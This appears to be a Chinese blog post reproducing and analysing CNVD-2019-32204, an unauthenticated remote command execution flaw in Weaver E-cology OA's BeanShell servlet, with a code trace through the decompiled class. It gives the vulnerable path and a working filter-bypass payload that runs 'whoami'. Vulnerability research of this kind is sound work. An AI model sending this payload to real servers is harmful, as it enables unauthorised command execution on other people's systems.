泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析

时间:2023-03-10 08:06:10
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析

漏洞复现

影响版本:
E-cology 7.0
E-cology 8.0
E-cology 8.1
E-cology 9.0
直接在网站根目录后加入组件访问路径 /weaver/bsh.servlet.BshServlet/,如下图执行了命令“whoami”
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析

绕过方式:

1.unicode编码
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析

2.字符串拼接

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析

漏洞分析

漏洞出现在e-cology的组件beanshell上,由于beanshell这个接口可被未授权访问,同时这个接口在接受用户请求时未进行相应过滤,最终导致远程命令执行
那beanshell是什么呢?
简单说,就是一个微型的java解释器,可嵌入到其他程序中,用于动态的执行java代码,类似于csharp中的动态编译特性,我们通过一个例子来了解beanshell,如下图:
  • 实例化Interpreter类
  • eval()函数用于动态的执行java代码
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
除了eval函数,还有其他函数可以动态执行字符串
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
使用jadx反编译jar包,由于访问的组件路径为/weaver/bsh.servlet.BshServlet/,所以我们先查看一下类bsh.servlet.BshServlet,如下图
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
网站是post提交数据,所以我们查看doPost函数,发现只是执行了doGet函数:
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
跟踪doGet:
httpServletRequest.getParameter("bsh.script");参数为传入的值,赋值给了parameter
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
跟踪parameter,传入了evalScript函数:
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
跟踪evalScript函数:
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
直接调用interpreter.eval进行了代码执行
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
interpreter是Interpreter实例化的类
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析

文中用到的工具

bsh-2.0b4.jar
链接:https://pan.baidu.com/s/1U3bYIgNlSgrfkhWovfx3CQ
jadx-gui-1.0.0.exe
链接:https://pan.baidu.com/s/1KVjwo7dIB4kS8LXwUI4zkA
获取提取码关注公众号底下菜单点击提取码
参考:https://xz.aliyun.com/t/6560
欢迎关注我的公众号啦!
泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析